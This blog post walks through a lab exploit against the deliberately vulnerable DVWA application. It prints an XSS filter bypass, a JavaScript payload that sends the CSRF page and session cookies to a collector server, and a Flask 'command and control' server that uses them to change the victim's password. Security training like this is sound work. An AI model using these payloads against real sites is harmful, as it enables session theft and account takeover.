CSRF Protection – Part 2

Before I begin, I owe you an apology. In previous part I told that I would like to describe prevention mechanism, but when I got down to coding, I thought that this would be rather tedious and uninteresting. If you want to see how it works, just go to Flask’s WTF forms extension on github or Django’s middleware source code or Spring’s source code if you prefer Java or .NET’s guide or NodeJS library… You see the point. Type YourFavouriteFrameworkName + CSRF in any search engine and you will get tons of examples. Even Bing handles this task.

So I had a second thought that I might actually do something interesting for me and for you. So I’ve launched DVWA and looked what they offer for CSRF on high level.

Looking for a Hole

The task is to post password change without user’s consent.

DVWA's password change form

Unfortunately even though the form is submitted via GET, it contains anti-CSRF token that gets refreshed every time form is submitted. This may lead to leaking password data, but I did not find it useful for sheer CSRF attacks.

<form action="#" method="GET">
    New password:<br />
    <input type="password" AUTOCOMPLETE="off" name="password_new"><br />
    Confirm new password:<br />
    <input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
    <br />
    <input type="submit" value="Change" name="Change">
    <input type='hidden' name='user_token' value='a256625020f8132aa485beaee9bd51d6' />
</form>

This meant that obtaining one token was useless. It can’t be reused, token for one user does not work for another one. I must admit I was stuck.

Maybe use another vulnerability?

Next idea was to find an XSS and steal user data. Not using HttpOnly flag on session cookie and the fact that the application is… Well… A damn vulnerable one made it all easier.

DOM XSS

I went for the first XSS page available – with DOM XSS. Use can choose language through a form that is mostly validated on frontend.

DVWA DOM XSS form

Mostly. With following exception:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

So if default query param is set to a known value, it passes, otherwise it is set to English. Changing value to test will give English in return.

The JS that is responsible for parsing input data, however, simply looks at the position of default string in URL and takes whatever follows it.

So, maybe changing default key to something else and then trying to fool around with its value would be a good idea? Bingo!

Bypassing DVWA's hard DOM XSS filter

Something outside of the whitelisted scope got displayed. Moreover, this “something” was enough to get arbitrary JS executed.

DOM XSS exploited with xdefault=<script>alert(1)</script>

Simple xdefault=alert(1) in URL brought us somewhere we could begin constructing an attack.

Building a Payload

I needed something that would give me current XSRF token and a session cookie. I needed to perform a GET to http://localhost/vulnerabilities/csrf/ and send document.cookie using injected JS code. As I’ve said earlier, I was aware that session cookies did not receive HttpOnly flag to protect them, so I new that I could steal it to save it on my server. The following payload emerged:

var xhr1 = new XMLHttpRequest();
xhr1.open('GET', 'http://localhost/vulnerabilities/csrf/');
xhr1.onload = function(){
    var xhr2 = new XMLHttpRequest();
    xhr2.open('POST', 'http://localhost:5000/dom/');
    xhr2.send(xhr1.response);
};
xhr1.send();
var xhr3 = new XMLHttpRequest();
xhr3.open('POST', 'http://localhost:5000/cookies/');
xhr3.send(document.cookie);

Command and Control Server

As usual I chose Flask for this job. The application that practically fit into a single file was responsible for:

  • displaying a malicious website with link that would redirect to the XSS-prone page with proper payload,
  • collecting data (CSRF token and session cookie),
  • performing attack – changing password.
from flask import Flask, request, render_template
import requests

app = Flask(__name__)


user_token = ''
cookie = ''


@app.route('/', methods=["GET", "POST"])
def index():
    return render_template('index.html')


@app.route('/dom/', methods=["GET", "POST"])
def dom():
    global user_token
    example_token = '88aa99bfdc6298553d26c2165feb570b'
    token_marker = '\'user_token\' value=\''
    decoded: str = request.data.decode('utf-8')
    i = decoded.index(token_marker)
    user_token = decoded[i+len(token_marker):i+len(token_marker)+len(example_token)]
    maybe_trigger()
    return 'OK'


@app.route('/cookies/', methods=["GET", "POST"])
def cookies():
    global cookie
    cookie_value = ''
    decoded = request.data.decode('utf-8')
    decoded_split = decoded.split('; ')
    for element in decoded_split:
        if 'PHPSESSID' in element:
            _, cookie_value = element.split('=')
    cookie = cookie_value
    maybe_trigger()
    return 'OK'


def maybe_trigger():
    global cookie
    global user_token
    new_password = 'dupa.8'

    if not cookie or not user_token:
        print('Waiting for both cookie and user_token')
        return
    print(f'cookie={cookie}\nuser_token={user_token}')

    response = requests.get(
        f'http://localhost/vulnerabilities/csrf/index.php?'
        f'password_new={new_password}&'
        f'password_conf={new_password}&'
        f'Change=Change&'
        f'user_token={user_token}#',
        cookies={
            'PHPSESSID': cookie,
            'security': 'high'
        }
    )

    if 'Password Changed.' in response.content.decode('utf-8'):
        print('SUCCESS!')

    # Reset globals
    cookie = ''
    user_token = ''


if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=True)

Not the best piece of code that I wrote, but definately a sufficient one.

The index() was responsible for displaying template with first stage exploit,

The dom() was responsible for collecting user token from html document I sent (I sent entire document), parsing it and finding CSRF token.

The cookies()collected cookies and searched for PHPSESSID which was used for authorization.

The maybe_exploit()checked if both CSRF token and session cookeis were already present and if so, it sent another request to change password.

The entire attack can be seen on the video:

Last but not Least

You can find the code on my gitlab. I also encourage you to visit DVWA project. Also keen thanks to my friend who let me use his music for the clip – watch it.